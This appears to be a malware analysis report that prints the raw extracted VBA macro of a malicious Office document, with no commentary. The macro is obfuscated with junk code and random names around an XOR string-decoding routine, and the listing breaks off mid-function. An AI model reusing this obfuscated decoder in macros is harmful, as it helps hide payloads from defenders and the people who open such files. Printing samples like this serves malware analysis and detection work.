Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "rCV4AL"
Public Function zaLeajmYqQRFLtM(ByRef FWWX2BAwtsiEYJ As String, ByRef THREE As String) As String
Dim KFsFT82DH7obw1e() As Byte
If Application.UserName = "XbntjzWqhxP" Then
MsgBox ("EVAAzbGYw2w")
Else
Dim F63etpD8ZViyaR As Integer
End If
Dim mLYfMMXZIIJblE7 As String
mLYfMMXZIIJblE7 = Application.UserName
Dim E3ajGx9qSpy5ShqHU, tbBxuTdrgDZBhGflRXk As Integer
tbBxuTdrgDZBhGflRXk = Len(mLYfMMXZIIJblE7)
Dim kSkPjxAhjteEASOY As Collection
While tbBxuTdrgDZBhGflRXk > 8
E3ajGx9qSpy5ShqHU = E3ajGx9qSpy5ShqHU + 2
tbBxuTdrgDZBhGflRXk = tbBxuTdrgDZBhGflRXk - 1
Wend
Dim c3sOibQE0udAmRe As Collection
Set c3sOibQE0udAmRe = New Collection
c3sOibQE0udAmRe.Add "LJNcYdOn7CCwuCPciGxpmMYxakX7k1ojxiTrylzEqRuQVVG11wUsmHG8uXBzFQCFYd7Lsio7Tu8UbIeFdgFzg56"
c3sOibQE0udAmRe.Add "U6aj99aPo11X5ITIXZ2Jwhm36TiKPichQtXlNXTviFzQmriXvpJgEipzTgmqaP9GYUHLvr5AFGk"
c3sOibQE0udAmRe.Add "VRPuLZkZ6crEjSqunUTFq1RjXmEtJa778D8PX5O0Zrc2ZGMZOPcvRlDdApXjV0QfetGfTbXrFdp9Z"
c3sOibQE0udAmRe.Add "QZof37LqWAfOsipfja6XpAqGw1upz6DEkfGJqUWhTC"
c3sOibQE0udAmRe.Add "yMpJa8FicBePthsCNf3a6bnNbgyOEZEnQLSkMkPx0eljB0ZJmUUzJTiXics3J1eD719iPIxmPDj"
c3sOibQE0udAmRe.Add "EMlGpmuERd7m4Bu2Wp9AilJ113eerhGuGhdQGweOu8qXB6VGFt3XkbRdCt"
Dim LMZjO1TWLiwif8oXoG() As Byte
Dim b7vWkOwLyXcF0c5 As String
b7vWkOwLyXcF0c5 = Application.UserName
Dim FIMnc3byj8PyveW3b, kbeBIdUEyPtm7KMkjRM As Integer
kbeBIdUEyPtm7KMkjRM = Len(b7vWkOwLyXcF0c5)
Dim xWI1R3cBetOO9rCx As Collection
While kbeBIdUEyPtm7KMkjRM > 5
FIMnc3byj8PyveW3b = FIMnc3byj8PyveW3b + 1
kbeBIdUEyPtm7KMkjRM = kbeBIdUEyPtm7KMkjRM - 1
Wend
Dim zqKXbIgLCsGfIld As Collection
Set zqKXbIgLCsGfIld = New Collection
zqKXbIgLCsGfIld.Add "UgDC2mRRVstlAeIZxlsndppo"
zqKXbIgLCsGfIld.Add "CKJKeYAKJftrG6RNpw9Hp92esAYe7o1ZUZjGILOUk0UnpIevVPA3okyDSpcdAgMenUWrXKFdipg"
Dim JW8qE2tKKuZWG2 As Long
Dim sWmuwUcKyPcysO As Integer
For q7pJATwJrgy = 5 To 57
sWmuwUcKyPcysO = q7pJATwJrgy
Next q7pJATwJrgy
Dim kK9VDFFvh7Nzkz As Integer
For eRyxv1sXMbP = 9 To 94
kK9VDFFvh7Nzkz = eRyxv1sXMbP
Next eRyxv1sXMbP
Dim YjiuzLsQCQJA5X As Integer
Dim bSe3h4jwbiS As String
YjiuzLsQCQJA5X = 5757
Dim jBNhgjdcGVV As Integer
bSe3h4jwbiS = Right(CStr(YjiuzLsQCQJA5X), Chr(Tan(CDbl(1.55039099610836))))
jBNhgjdcGVV = CInt(bSe3h4jwbiS)
For UspRGA3f6ee = jBNhgjdcGVV To 81
YjiuzLsQCQJA5X = YjiuzLsQCQJA5X + 5
Next UspRGA3f6ee
If Application.UserName = "B9mm8cXjmUe" Then
MsgBox ("KmsSfKSU3RD")
Else
Dim aHW2fDrCspUjI2 As Integer
End If
If Application.UserName = "ENmbmGL9wQ0" Then
MsgBox ("LiR02j4Kunq")
Else
Dim nbSM8kW2pRPZ5b As Integer
End If
Dim wTqIJiZq3ugggZW As Long
If Chr(Tan(CDbl(1.55956084453693))) = Y Then
Dim FRRbwVNqncxisr As String
Dim UBKFhQ8FPWf As String
UBKFhQ8FPWf = wXhg7G2210V
FRRbwVNqncxisr = CJKLjH7nDHJ
End If
If (StrComp(FRRbwVNqncxisr, UBKFhQ8FPWf, vbTextCompare) <> 0) Then
MsgBox ("Q51MJBXMAC4607")
End If
Dim K38RSFbTc33LOo, iV2bliE3Ee6 As String
K38RSFbTc33LOo = 4
iV2bliE3Ee6 = 9
#If K38RSFbTc33LOo > iV2bliE3Ee6 Then
Dim UGJLAtxylJy As Object
#Else
Dim UGJLAtxylJy As Integer
UGJLAtxylJy = 4 + 9
Dim t0TN6dlsvjs As Integer
For K0T62hnOTyd = t0TN6dlsvjs To K38RSFbTc33LOo
t0TN6dlsvjs = t0TN6dlsvjs + CInt(Chr(Tan(CDbl(1.55039099610836))))
Next K0T62hnOTyd
#End If
Dim SsXq3T2D0RKW0A, UgZNoVJirLE As String
SsXq3T2D0RKW0A = 6
UgZNoVJirLE = 2
#If SsXq3T2D0RKW0A > UgZNoVJirLE Then
Dim k8x4uJAnBbv As Object
#Else
Dim k8x4uJAnBbv As Integer
k8x4uJAnBbv = 6 + 2
Dim xNF7PXSwMRo As Integer
For sFfsJ8PIyAL = xNF7PXSwMRo To SsXq3T2D0RKW0A
xNF7PXSwMRo = xNF7PXSwMRo + CInt(Chr(Tan(CDbl(1.55039099610836))))
Next sFfsJ8PIyAL
#End If
If Chr(Tan(CDbl(1.55690833086393))) = H Then
Dim GqGvP59zCHuZB9 As String
Dim BY2nvwl3mMO As String
BY2nvwl3mMO = KnCixTc7gBS
GqGvP59zCHuZB9 = HWjELyKOStF
End If
If (StrComp(GqGvP59zCHuZB9, BY2nvwl3mMO, vbTextCompare) <> 0) Then
MsgBox ("HHU641wkPD4gDR")
End If
Dim yJPjMyjAMgo9WA As Object
Dim EYk9VlfggJmxDqi6 As Long
Dim kWvBl2WciygQgW, T7Et2UzZnGA As String
kWvBl2WciygQgW = 1
T7Et2UzZnGA = 2
#If kWvBl2WciygQgW > T7Et2UzZnGA Then
Dim WVJQOvyzdwo As Object
#Else
Dim WVJQOvyzdwo As Integer
WVJQOvyzdwo = 1 + 2
Dim nw89Hk7Sve1 As Integer
For Y2J69MpcRtp = nw89Hk7Sve1 To kWvBl2WciygQgW
nw89Hk7Sve1 = nw89Hk7Sve1 + CInt(Chr(Tan(CDbl(1.55039099610836))))
Next Y2J69MpcRtp
#End If
Dim RVfi1RHSvmHBf4, Fvzc4ZoPDBx As Integer
RVfi1RHSvmHBf4 = 2
Fvzc4ZoPDBx = 6
#If uI7pOTcPyXT <> 0 Then
uI7pOTcPyXT = uI7pOTcPyXT + 5
Dim amp5EAQFWBE As Variant
Else
Dim amp5EAQFWBE As Object
#End If
If RVfi1RHSvmHBf4 > Fvzc4ZoPDBx Then
For qGg7ZSzyGRet7I = Fvzc4ZoPDBx To RVfi1RHSvmHBf4
Fvzc4ZoPDBx = Fvzc4ZoPDBx / RVfi1RHSvmHBf4
Next qGg7ZSzyGRet7I
End If
Dim sJR4JbARBB2rz4, TtwqQXRUQvm As String
sJR4JbARBB2rz4 = 3
TtwqQXRUQvm = 8
#If sJR4JbARBB2rz4 > TtwqQXRUQvm Then
Dim QdLHTx6IySe As Object
#Else
Dim QdLHTx6IySe As Integer
QdLHTx6IySe = 3 + 8
Dim NYfTqPuOTFL As Integer
For VPOL8hbCg2f = NYfTqPuOTFL To sJR4JbARBB2rz4
NYfTqPuOTFL = NYfTqPuOTFL + CInt(Chr(Tan(CDbl(1.55039099610836))))
Next VPOL8hbCg2f
#End If
If Len(Application.UserName) < 100 Then
Dim C63H1ZqvwltGpV1 As String
End If
If Len(Application.UserName) < 100 Then
Dim WJri9g4jryC4Riw As String
End If
If Len(Application.UserName) < 100 Then
Dim mQ4z1ixIs9zoIVz As String
End If
Dim qb4mIRgNGrecN As Long
Dim WtoQTmcak5Q4Ww, jfbuxdSfpwI As String
WtoQTmcak5Q4Ww = 2
jfbuxdSfpwI = 9
#If WtoQTmcak5Q4Ww > jfbuxdSfpwI Then
Dim T8TgOpxE2OO As Object
#Else
Dim T8TgOpxE2OO As Integer
T8TgOpxE2OO = 2 + 9
Dim eMKTyEeYHAX As Integer
For ZPWRT6M65E1 = eMKTyEeYHAX To WtoQTmcak5Q4Ww
eMKTyEeYHAX = eMKTyEeYHAX + CInt(Chr(Tan(CDbl(1.55039099610836))))
Next ZPWRT6M65E1
#End If
If Len(Application.UserName) < 100 Then
Dim RtfO0YkhqDpOB0m As String
End If
Dim Cn48tzsIYVEpry As Object
Dim icTniqZFpVF065 As Object
KFsFT82DH7obw1e = StrConv(FWWX2BAwtsiEYJ, vbFromUnicode)
Dim ojjiRYgDxep5QZ, ZKmZgd8VSlH As Integer
ojjiRYgDxep5QZ = 8
ZKmZgd8VSlH = 4
#If qCorUWCSW8w <> 0 Then
qCorUWCSW8w = qCorUWCSW8w + 5
Dim U9YxoaoxeFQ As Variant
Else
Dim U9YxoaoxeFQ As Object
#End If
If ojjiRYgDxep5QZ > ZKmZgd8VSlH Then
For q6chViijaR7abW = ZKmZgd8VSlH To ojjiRYgDxep5QZ
ZKmZgd8VSlH = ZKmZgd8VSlH / ojjiRYgDxep5QZ
Next q6chViijaR7abW
End If
LMZjO1TWLiwif8oXoG = StrConv(THREE, vbFromUnicode)
If Chr(Tan(CDbl(1.55763919132214))) = L Then
Dim yMet2epCw78Op9 As String
Dim l4ezRm2x0t4 As String
l4ezRm2x0t4 = pckAFzfzVp6
yMet2epCw78Op9 = zM3H70qMZtm
End If
If (StrComp(yMet2epCw78Op9, l4ezRm2x0t4, vbTextCompare) <> 0) Then
MsgBox ("TYDjz4hUIWuxFC")
End If
Dim fIS3u3T9tbo471 As Integer
For DvNJkW21Blz = 2 To 21
fIS3u3T9tbo471 = DvNJkW21Blz
Next DvNJkW21Blz
Dim F9RYcXyrHF0IFw As Integer
For uMK5teUtPv2 = 7 To 72
F9RYcXyrHF0IFw = uMK5teUtPv2
Next uMK5teUtPv2
Dim sALS14r9qdu6Pq As Object
JW8qE2tKKuZWG2 = UBound(KFsFT82DH7obw1e)
Dim dXC82WDvUPL1r1, YdNo9LihbFs As String
dXC82WDvUPL1r1 = 3
YdNo9LihbFs = 9
#If dXC82WDvUPL1r1 > YdNo9LihbFs Then
Dim y6QuvWtPSAb As Object
#Else
Dim y6QuvWtPSAb As Integer
y6QuvWtPSAb = 3 + 9
Dim gpEneGS1yu4 As Integer
For BqKoVYNtB56 = gpEneGS1yu4 To dXC82WDvUPL1r1
gpEneGS1yu4 = gpEneGS1yu4 + CInt(Chr(Tan(CDbl(1.55039099610836))))
Next BqKoVYNtB56
#End If
Dim AUCj8fpZKNqEt8 As Integer
For oWpR0fNbb1H = 6 To 68
AUCj8fpZKNqEt8 = oWpR0fNbb1H
Next oWpR0fNbb1H
Dim H9Xgk5xgu4QAPR As Integer
Dim aRMJAITrdnR As String
H9Xgk5xgu4QAPR = 3857
Dim FOkrRII7W4g As Integer
aRMJAITrdnR = Right(CStr(H9Xgk5xgu4QAPR), Chr(Tan(CDbl(1.55039099610836))))
FOkrRII7W4g = CInt(aRMJAITrdnR)
For uQvubUvTLbm = FOkrRII7W4g To 84
H9Xgk5xgu4QAPR = H9Xgk5xgu4QAPR + 1
Next uQvubUvTLbm
If Chr(Tan(CDbl(1.5563045877294))) = E Then
Dim X0eYgKkv77QdAJ As String
Dim BRCMeShDZuc As String
BRCMeShDZuc = EIu94TGeWSY
X0eYgKkv77QdAJ = zSso2AKEl48
End If
If (StrComp(X0eYgKkv77QdAJ, BRCMeShDZuc, vbTextCompare) <> 0) Then
MsgBox ("M4GNdenmXat6bC")
End If
Dim ZlvGwazzrL4wjp As Object
Dim wEmZtHpN560XZqh As String
wEmZtHpN560XZqh = Application.UserName
Dim YJ8J6Yh1b9DymMGIC, AyyzS1AUvYrdP36J2gz As Integer
AyyzS1AUvYrdP36J2gz = Len(wEmZtHpN560XZqh)
Dim EiqMsvQpreksidQK As Collection
While AyyzS1AUvYrdP36J2gz > 3
YJ8J6Yh1b9DymMGIC = YJ8J6Yh1b9DymMGIC + 7
AyyzS1AUvYrdP36J2gz = AyyzS1AUvYrdP36J2gz - 1
Wend
wTqIJiZq3ugggZW = UBound(LMZjO1TWLiwif8oXoG)
Dim BjaY7OLtb38B4a As Integer
Dim ijFluhHA4Mg As String
BjaY7OLtb38B4a = 6219
Dim VygkZAhjceE As Integer
ijFluhHA4Mg = Right(CStr(BjaY7OLtb38B4a), Chr(Tan(CDbl(1.55039099610836))))
VygkZAhjceE = CInt(ijFluhHA4Mg)
For XWsHGEvofKT = VygkZAhjceE To 59
BjaY7OLtb38B4a = BjaY7OLtb38B4a + 4
Next XWsHGEvofKT
If Chr(Tan(CDbl(1.55564597092013))) = B Then
Dim VOIeZOeJrc6tuE As String
Dim l19LOb6e3Ru As String
l19LOb6e3Ru = Ugedg43vtBM
VOIeZOeJrc6tuE = QbL2Ot58Gff
End If
If (StrComp(VOIeZOeJrc6tuE, l19LOb6e3Ru, vbTextCompare) <> 0) Then
MsgBox ("gnO4hAyO5V0uAs")
End If
Dim SMMj4LO331PlX3 As Integer
For XDhejHqXhnl = 1 To 14
SMMj4LO331PlX3 = XDhejHqXhnl
Next XDhejHqXhnl
Dim b6oExyM7I0dHqY As Integer
For KDVGmJR4h7m = 5 To 56
b6oExyM7I0dHqY = KDVGmJR4h7m
Next KDVGmJR4h7m
If Application.UserName = "FyskPeQXV1r" Then
MsgBox ("mx6B34aRW37")
Else
Dim hu00fqLNJarP5r As Integer
End If
Dim oZMLljSmcMwSSjW As String
oZMLljSmcMwSSjW = Application.UserName
Dim UXpDAO7jREMuClSB3, AJK2Jk0lLuLuTm4w90I As Integer
AJK2Jk0lLuLuTm4w90I = Len(oZMLljSmcMwSSjW)
Dim HrtvMmdTqlDzSODT As Collection
While AJK2Jk0lLuLuTm4w90I > 9
UXpDAO7jREMuClSB3 = UXpDAO7jREMuClSB3 + 2
AJK2Jk0lLuLuTm4w90I = AJK2Jk0lLuLuTm4w90I - 1
Wend
Dim WyAAKs3245RgDea As Collection
Set WyAAKs3245RgDea = New Collection
WyAAKs3245RgDea.Add "b9JAKQs6p4OHP3BAKjup8KldgQ6o92VPzH"
WyAAKs3245RgDea.Add "ulOyuf7eTgMDL32WflYRYpd4TD6wi8UH4aPiU64cMHK9E3cF99tLsrMFIUerjL5ULEJvnUBjr5EQfd0ak0wiOJZMNKaAbM3B"
WyAAKs3245RgDea.Add "yAurcp8Jdzn5koeEGsYXFCo6hd3B"
WyAAKs3245RgDea.Add "CCFppxq2YHkEpmjSkwfXGLnyt"
For EYk9VlfggJmxDqi6 = 0 To JW8qE2tKKuZWG2
Dim BsZSa5GobQk3Lj As Integer
Dim zFJeg35I8pL As String
BsZSa5GobQk3Lj = 9375
Dim VzMUovf9CPN As Integer
zFJeg35I8pL = Right(CStr(BsZSa5GobQk3Lj), Chr(Tan(CDbl(1.55039099610836))))
VzMUovf9CPN = CInt(zFJeg35I8pL)
For ZMcvTrMwF7w = VzMUovf9CPN To 23
BsZSa5GobQk3Lj = BsZSa5GobQk3Lj + 9
Next ZMcvTrMwF7w
Dim NADnh4GtcmXN7i As Integer
Dim H3YMXryP52h As String
NADnh4GtcmXN7i = 3885
Dim yT11lGJ0f5j As Integer
H3YMXryP52h = Right(CStr(NADnh4GtcmXN7i), Chr(Tan(CDbl(1.55039099610836))))
yT11lGJ0f5j = CInt(H3YMXryP52h)
For I8XlfNygoYY = yT11lGJ0f5j To 56
NADnh4GtcmXN7i = NADnh4GtcmXN7i + 4
Next I8XlfNygoYY
Dim YCjp76AL9MQxGL, dsFshBw6OdX As String
YCjp76AL9MQxGL = 3
dsFshBw6OdX = 2
#If YCjp76AL9MQxGL > dsFshBw6OdX Then
Dim oHmIPL7E1s0 As Object
#Else
Dim oHmIPL7E1s0 As Integer
oHmIPL7E1s0 = 3 + 2
Dim SxC5zyQIqLU As Integer
For sXi5uEjdgzF = SxC5zyQIqLU To YCjp76AL9MQxGL
SxC5zyQIqLU = SxC5zyQIqLU + CInt(Chr(Tan(CDbl(1.55039099610836))))
Next sXi5uEjdgzF
#End If
KFsFT82DH7obw1e(EYk9VlfggJmxDqi6) = KFsFT82DH7obw1e(EYk9VlfggJmxDqi6) Xor LMZjO1TWLiwif8oXoG(qb4mIRgNGrecN)
Dim fz320jp0Rt1G1G As Object
If Len(Application.UserName) < 100 Then
Dim uGWjZvyRzoSxqCK As String
End If
If Application.UserName = "FcIwLyDRxIy" Then
MsgBox ("M12G6IxB1gO")
Else
Dim bz0oDBIpRZnsa2 As Integer
End If
Dim fQQ92X7LGWgI1pm As String
fQQ92X7LGWgI1pm = Application.UserName
Dim cDzQdj1p6hlzSvPmA, V1ugmOsf6SPDXXjcafO As Integer
V1ugmOsf6SPDXXjcafO = Len(fQQ92X7LGWgI1pm)
Dim an7GkuhNFLRNfCWU As Collection
While V1ugmOsf6SPDXXjcafO > 5
cDzQdj1p6hlzSvPmA = cDzQdj1p6hlzSvPmA + 2
V1ugmOsf6SPDXXjcafO = V1ugmOsf6SPDXXjcafO - 1
Wend
Dim YCx9qAqINfPSQnZ As Collection
Set YCx9qAqINfPSQnZ = New Collection
YCx9qAqINfPSQnZ.Add "nk1Eg5GeArA"
YCx9qAqINfPSQnZ.Add "8mK8cFG0RxD9DOADWVWNgvKiZceBItS6rfdfAKb06QVvyEcrGboVnv3MbmjAlEsihGSiveDM3fRQZZtV9w5qF6T6mQEYkb"
YCx9qAqINfPSQnZ.Add "hzNrv45lYccHemzB2OAyJBdlzW6eaplbQZtmMC"
YCx9qAqINfPSQnZ.Add "1TSmeLc9dCfWbbsgTm3Z8aLt0A1E3Kxxo56xs0Gm47BXJOAxqMSjJKGaIjvdU"
YCx9qAqINfPSQnZ.Add "SMqrfe3zdfQfBZzjm9CYq2PqexgqJEmSh1sLdgfUw"
YCx9qAqINfPSQnZ.Add "E2oFAV9JeR8Ya69Nq7NnY288JrmGFermQDLyxtfVJ4IAicSO"
YCx9qAqINfPSQnZ.Add "yWiwaM4q5Tt3E9kWHWvLX6c2ddt7ZrYXmvqUDen93JzLmQ0JaMU5d"
YCx9qAqINfPSQnZ.Add "14qS6d6QO5VQSTPSmtwROJQPNnjgNWc3TxyaWMq"
YCx9qAqINfPSQnZ.Add "2iQQ9h0L3rMrBrsnbFT3aD1cc7dex6aDQUVkA9NGsUTpQLSHFw5HWmgyryy"
YCx9qAqINfPSQnZ.Add "VW7RJbrVHnb"
If qb4mIRgNGrecN < wTqIJiZq3ugggZW Then
Dim T8WYHukv8IdPJb As Integer
For Yz3yObRqLyH = 4 To 48
T8WYHukv8IdPJb = Yz3yObRqLyH
Next Yz3yObRqLyH
Dim BSJgZZ66lhV00o, u2Yb8YbjXmr As Integer
BSJgZZ66lhV00o = 5
u2Yb8YbjXmr = 4
#If KUdiiCwqDke <> 0 Then
KUdiiCwqDke = KUdiiCwqDke + 1
Dim I3PAdrVJl20 As Variant
Else
Dim I3PAdrVJl20 As Object
#End If
If BSJgZZ66lhV00o > u2Yb8YbjXmr Then
For cpFP1sSGd5gyNE = u2Yb8YbjXmr To BSJgZZ66lhV00o
u2Yb8YbjXmr = u2Yb8YbjXmr / BSJgZZ66lhV00o
Next cpFP1sSGd5gyNE
End If
Dim qVwydTLDY6HjnE As Integer
For StpuXWPqf91 = 3 To 36
qVwydTLDY6HjnE = StpuXWPqf91
Next StpuXWPqf91
Dim GjfSAk12HEKmWY, cWg6MiaQSgs As Integer
GjfSAk12HEKmWY = 6
cWg6MiaQSgs = 7
#If Y5TIh2jBGzK <> 0 Then
Y5TIh2jBGzK = Y5TIh2jBGzK + 6
Dim pMvQE78X8Zh As Variant
Else
Dim pMvQE78X8Zh As Object
#End If
If GjfSAk12HEKmWY > cWg6MiaQSgs Then
For BYMbKFtH1R8jgo = cWg6MiaQSgs To GjfSAk12HEKmWY
cWg6MiaQSgs = cWg6MiaQSgs / GjfSAk12HEKmWY
Next BYMbKFtH1R8jgo
End If
Dim fXiUK6ddR5hT54, v5FreR963xn As String
fXiUK6ddR5hT54 = 7
v5FreR963xn = 9
#If fXiUK6ddR5hT54 > v5FreR963xn Then
Dim MlfMZLXzSaB As Object
#Else
Dim MlfMZLXzSaB As Integer
MlfMZLXzSaB = 7 + 9
Dim hHAJPnjWaQl As Integer
For noyedHUPpdt = hHAJPnjWaQl To fXiUK6ddR5hT54
hHAJPnjWaQl = hHAJPnjWaQl + CInt(Chr(Tan(CDbl(1.55039099610836))))
Next noyedHUPpdt
#End If
Dim vrQcCvh5aEzSXr As Object
If Len(Application.UserName) < 100 Then
Dim UJfMe5v6RrYgRBA As String
End If
Dim ml6XTZ5C8N69TLt As String
ml6XTZ5C8N69TLt = Application.UserName
Dim QVJ4VyuOVQeLmxAte, L8ecvvYRGScHb4A708T As Integer
L8ecvvYRGScHb4A708T = Len(ml6XTZ5C8N69TLt)
Dim LhwbNDrz33tQfSKI As Collection
While L8ecvvYRGScHb4A708T > 8
QVJ4VyuOVQeLmxAte = QVJ4VyuOVQeLmxAte + 4
L8ecvvYRGScHb4A708T = L8ecvvYRGScHb4A708T - 1
Wend
Dim CYyuGy4RzFm61jk As Collection
Set CYyuGy4RzFm61jk = New Collection
CYyuGy4RzFm61jk.Add "4ZNXn0elMdVki0OPLzb4Sc3v6QD6xq2zVYqRhYZq4IubmjAAGsN7"
CYyuGy4RzFm61jk.Add "2bfcbXzhwfliOKK7rzYv9KrbJWQD0Gd4FtfPvF7C2WWO0EV00JBaj7mstESEGurpCqdfo4LmxW2m"
CYyuGy4RzFm61jk.Add "lFBaMrFDVIHzfrw35IpqMJkxL57ZkNE94QcNCqhAk9VVX1Zex6au7HQceLORtqcIDH3OOj0OkpGNzPcUfcjow"
qb4mIRgNGrecN = qb4mIRgNGrecN + 1
Dim BDoPt3vRGyWtEG, MO09wUYLqk8 As String
BDoPt3vRGyWtEG = 3
MO09wUYLqk8 = 5
#If BDoPt3vRGyWtEG > MO09wUYLqk8 Then
Dim JWUMUijKuu6 As Object
#Else
Dim JWUMUijKuu6 As Integer
JWUMUijKuu6 = 3 + 5
Dim RdHie9zr1iL As Integer
For s6BYGay2xWE = RdHie9zr1iL To BDoPt3vRGyWtEG
RdHie9zr1iL = RdHie9zr1iL + CInt(Chr(Tan(CDbl(1.55039099610836))))
Next s6BYGay2xWE
#End If
Else
Dim N5lApIM9t5WGZ0 As Object
Dim SJKs4zpuo7wmrwL As String
SJKs4zpuo7wmrwL = Application.UserName
Dim BksUhZlTJN0kco0ta, EyNVwhPVEhUgP0grtaZ As Integer
EyNVwhPVEhUgP0grtaZ = Len(SJKs4zpuo7wmrwL)
Dim sKhx6DXyRjFlazbN As Collection
While EyNVwhPVEhUgP0grtaZ > 2
BksUhZlTJN0kco0ta = BksUhZlTJN0kco0ta + 7
EyNVwhPVEhUgP0grtaZ = EyNVwhPVEhUgP0grtaZ - 1
Wend
Dim zdWI9A4KVPUoZf As Object
qb4mIRgNGrecN = 0
Dim Fq6gPd6idI13td, pzYcdrztt02 As Integer
Fq6gPd6idI13td = 8
pzYcdrztt02 = 7
#If dhI1X63zlUk <> 0 Then
dhI1X63zlUk = dhI1X63zlUk + 1
Dim XBzh184bvrP As Variant
Else
Dim XBzh184bvrP As Object
#End If
If Fq6gPd6idI13td > pzYcdrztt02 Then
For Gz6KvAzoX7Gnq5 = pzYcdrztt02 To Fq6gPd6idI13td
pzYcdrztt02 = pzYcdrztt02 / Fq6gPd6idI13td
Next Gz6KvAzoX7Gnq5
End If
If Chr(Tan(CDbl(1.5563045877294))) = E Then
Dim RWp50yyRELTZV5 As String
Dim LK2976nVXGm As String
LK2976nVXGm = DSyPzlH8kkz
RWp50yyRELTZV5 = EF7xjpBcXfc
End If
If (StrComp(RWp50yyRELTZV5, LK2976nVXGm, vbTextCompare) <> 0) Then
MsgBox ("n2AFGLMj98iTwg")
End If
Dim rMK9EzkEPoutkh As Integer
For XSZc26Y6vrj = 1 To 13
rMK9EzkEPoutkh = XSZc26Y6vrj
Next XSZc26Y6vrj
If Application.UserName = "UvZ3U7Mkrk5" Then
MsgBox ("Dh0Vssvjvrj")
Else
Dim el8Yj4HQo5H4vY As Integer
End If
End If
If Chr(Tan(CDbl(1.55709855342203))) = I Then
Dim wRNxeuCqi4eA78 As String
Dim rKiyradxRQq As String
rKiyradxRQq = qpmoXOLgauL
wRNxeuCqi4eA78 = bW6zg9Qrj2U
End If
If (StrComp(wRNxeuCqi4eA78, rKiyradxRQq, vbTextCompare) <> 0) Then
MsgBox ("oneibFWnGA6IpF")
End If
Dim Uzi81XkLdKhaOU, JMa1W2NUvjd As String
Uzi81XkLdKhaOU = 5
JMa1W2NUvjd = 8
#If Uzi81XkLdKhaOU > JMa1W2NUvjd Then
Dim C7kLvfdgbZr As Object
#Else
Dim C7kLvfdgbZr As Integer
C7kLvfdgbZr = 5 + 8
Dim QASbM3qlHuV As Integer
For uGfrGsKCEC9 = QASbM3qlHuV To Uzi81XkLdKhaOU
QASbM3qlHuV = QASbM3qlHuV + CInt(Chr(Tan(CDbl(1.55039099610836))))
Next uGfrGsKCEC9
#End If
Dim ri8mnRhyfsa2hvF As String
ri8mnRhyfsa2hvF = Application.UserName
Dim SeVnPSiXjzh4D2caq, wCSurJ35RnT0XWqrpBu As Integer
wCSurJ35RnT0XWqrpBu = Len(ri8mnRhyfsa2hvF)
Dim JY2KE1Bw161q4wzt As Collection
While wCSurJ35RnT0XWqrpBu > 4
SeVnPSiXjzh4D2caq = SeVnPSiXjzh4D2caq + 4
wCSurJ35RnT0XWqrpBu = wCSurJ35RnT0XWqrpBu - 1
Wend
Dim InMt2Vdnk9qD6ZX As Collection
Set InMt2Vdnk9qD6ZX = New Collection
InMt2Vdnk9qD6ZX.Add "xtTaYOgS5kjXb9V2Te6GTJzoo1HO9h6PkMhRe7v0Hi"
InMt2Vdnk9qD6ZX.Add "f1DVCsJO1P3q5pwhGRTXoTzObEXWsF8vjAIwzvLQXrYUT1VxLOu0PLJLEy48UzgvRHH5"
InMt2Vdnk9qD6ZX.Add "tUFCA65c5ksiKeUIgX07s91N6kLmDLtaTMeZuNLNQl3UPwmBbJltEjQud1F"
InMt2Vdnk9qD6ZX.Add "SZu0RO895XTMnqHGg7K8JL3j9Vu6u52Hwc7LId8hoBfvShb"
InMt2Vdnk9qD6ZX.Add "n635akGfL05eCP9eLZLs57D9mUIpIQc42zG98MV11q7mCDlwgQGIPJNq33SGcaX4YAlPJAf9DU1PAa7jsV"
InMt2Vdnk9qD6ZX.Add "KUptjaFF3PYaSCNBbWngvGE5R8pc"
InMt2Vdnk9qD6ZX.Add "YGRfuEV2ps4aGy5a67M6HVsmGDPtblunIJ1RJwSJpir4mUAPA0CrP9lCYoZrymbE7RR67nRJpDQioyAvC9tkjCXJiy3eXlUDH"
InMt2Vdnk9qD6ZX.Add "UCDSWj2CMtCYknnoy21e44IYIuwvDsNbA1qt9rXAqAKZfZT1t7fKPIBa4pJlwG9dflXs7"
InMt2Vdnk9qD6ZX.Add "Hf0y4ts3sb5CGNCL2xPyUhvOjBr43Bk3ySYpZUHrLvbK1E2QcZf3rFUkumO3Cy9q0BOzxXwhsiniGkWfIbbegqMs8y5zGNpW"
If Application.UserName = "lvkXfKKxfxB" Then
MsgBox ("Y9be3QwVQgp")
Else
Dim r0EaFm8LJcvdJP As Integer
End If
If Application.UserName = "W5cWwMs3ARZ" Then
MsgBox ("f09LYfynuRV")
Else
Dim nd9n7fNFms5Lco As Integer
End If
Dim GZ1jod7EW8nre1w As String
GZ1jod7EW8nre1w = Application.UserName
Dim NfLR6qKKUP1S6j1kh, ZeYGS9RyCaQMs1Ebxe8 As Integer
ZeYGS9RyCaQMs1Ebxe8 = Len(GZ1jod7EW8nre1w)
Dim Vej7NE5ENxFsfu2L As Collection
While ZeYGS9RyCaQMs1Ebxe8 > 1
NfLR6qKKUP1S6j1kh = NfLR6qKKUP1S6j1kh + 5
ZeYGS9RyCaQMs1Ebxe8 = ZeYGS9RyCaQMs1Ebxe8 - 1
Wend
Dim FBMUIInIlsquI4M As Collection
Set FBMUIInIlsquI4M = New Collection
FBMUIInIlsquI4M.Add "8SKP7o0qGVqISghdGaCGM51O85kor485T0NCaFbzBO98ZC4g7arRwr0Da5QBEM8MXvybSeCA8PE853x5B"
FBMUIInIlsquI4M.Add "RMrJlAKlfyZtxPzln"
FBMUIInIlsquI4M.Add "NcYqTgn1IhGVA9fr9qmNbI3gL"
FBMUIInIlsquI4M.Add "PtIRLri1O2fXm8ICEZdZtThz5BABEj1fuAXIAP4ncHQyeS9OSGyHsIw5LUWJrgwpB"
FBMUIInIlsquI4M.Add "ml9Cxex7mDtTmBvs"
FBMUIInIlsquI4M.Add "twlNb6p3v65VkwdpXnTE9n2LK2cBtI5zy5SNAZJCW6t3BQd606oIZ3uF4aCjeoJmAHgoePp8dQrD48J3YgKwewY4KMSkWkisw"
FBMUIInIlsquI4M.Add "4tybkRppJLrL5QIK7d"
FBMUIInIlsquI4M.Add "OtmeS6Fl2r9QyGPJkFkfyHOtdAWTNakOZ7oKHUInMD"
FBMUIInIlsquI4M.Add "LaWxB9k231UGe3BRjvYcGv11bECQ66SuVzhCnhSOxsVhmhqOS1EapTVajfX66U66jkvrV9nCdKmYZTP3Yz7E1"
